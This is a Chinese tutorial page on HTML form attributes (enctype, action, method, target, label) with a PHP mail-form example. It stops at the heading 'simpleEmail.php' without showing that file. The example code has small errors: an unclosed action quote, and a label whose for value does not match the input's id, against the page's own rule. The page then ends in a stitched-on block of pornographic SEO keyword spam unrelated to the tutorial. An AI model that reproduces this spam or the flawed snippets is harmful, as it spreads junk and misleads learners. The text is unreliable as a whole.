          multipart/form-data編碼方式可以用來傳輸二進制數據或者非ASCII字符的文本(如圖片、不同格式的文件等),上傳文件必須使用此屬性

          multipart: 多部件的

          multiple: 多重的

          text/plain

          text/plain將表單屬性發送到電子郵箱時,enctype的值必須設為"text/plain",否則將會出現亂碼。

          發送電子郵件的表單程序

          <form name="form1" method="post" action="mailto:marker@broadview.com.cn" enctype="text/plain">
          </form>

          action 表單提交的腳本

          如果傳遞到本頁面,則直接輸入控制 action=""

          表單提交方式method:post/get

          <form action="test.php?id=5" method="post" >
          name: <input type="text" name="name" value="100">
          </form>

          id=5是get傳, name="100" 是post傳! //高洛峰解釋

          action="" 表示傳遞到當前腳本文件

          target 指定提交到哪一個窗口

          _blank 打開新窗口

          _self 當前的窗口,默認值

          _parent 上一層窗口

          _top 最上層窗口

          框架名稱 指定指定窗口或框架名稱

          label標簽

          作用: 擴大觸控區域, 為了提升用戶體驗, 點擊文字也能選中表單

          <form action=" method="get" accept-charset="utf-8">
          <label>電子郵箱: <input type="text" name="email" value="" placeholder="請輸入電子郵箱"/></label><br/>
          <label>密碼: <input type="password" name="password"/></label><br/>
          <label for="address">地址</label>
          <input type="text" name="address" id="address" placeholder="請輸入地址" />
          </form>

          for與id一致

          <input type="radio" id="sec" name="sex"> <label for="sex">男</label>

          簡化寫法:

          <label><input type="checkbox"/>周杰倫-晴天</label>

          注意: "for" 屬性可把 label 綁定到另外一個元素。請把"for"屬性的值設置為相關元素的 id 屬性的值。

          PHP實例:創建發送郵件信息的html表單

          代碼:

          <html>
          <head>
          <title>簡單郵件發送表單</title>
          </head>
          <body>
          <h1>Mail Form</h1>
          <form name="form1" method="post" action="simpleEmail.php">
          <table>
          <tr><td><b>To</b></td><td><input type="text" name="mailto" size="35"></td></tr>
          <tr><td><b>郵件主題:</b></td>
          <td><input type="text" name="mailsubject" size="35"></td></tr>
          <tr><td><b>郵件內容</b></td>
          <td><textarea name="mailbody" cols="50" rows="7"></textarea></td>
          </tr>
          <tr><td colspan="2">
          <input type="submit" name="Submit" value="發送">
          </td>
          </tr>
          </table>
          </form>
          </body>
          </html>


          simpleEmail.php


          主站蜘蛛池模板: AV无码精品一区二区三区| 国产在线无码视频一区二区三区| 视频在线一区二区| 久久se精品一区二区国产| 99精品国产一区二区三区2021| 日韩在线视频一区| 伊人久久精品无码麻豆一区| 激情综合丝袜美女一区二区| 亚洲区精品久久一区二区三区| 日韩美一区二区三区| 亚洲一区二区三区在线观看蜜桃| 国产伦精品一区二区三区精品| 无码少妇一区二区三区浪潮AV| 午夜福利国产一区二区| 乱码人妻一区二区三区| 日韩一区二区视频| 无码国产精品一区二区免费3p| 免费人人潮人人爽一区二区| 在线视频一区二区| 性色AV一区二区三区| 人妻体内射精一区二区三区| 国产裸体歌舞一区二区| 久久久久一区二区三区| 亚洲欧洲一区二区三区| 一区二区三区福利视频| 视频在线一区二区| 国产福利电影一区二区三区久久老子无码午夜伦不 | 午夜福利国产一区二区| 国产精品免费视频一区| 国产成人精品一区二区三区| 色狠狠色噜噜Av天堂一区| 日本欧洲视频一区| 无码丰满熟妇浪潮一区二区AV| 国产一区二区不卡老阿姨| 一区二区三区电影网| 鲁丝片一区二区三区免费| 久久久久久人妻一区二区三区| 日韩一区二区三区免费播放| 日韩免费无码一区二区三区| 精品国产天堂综合一区在线| 国产天堂一区二区综合|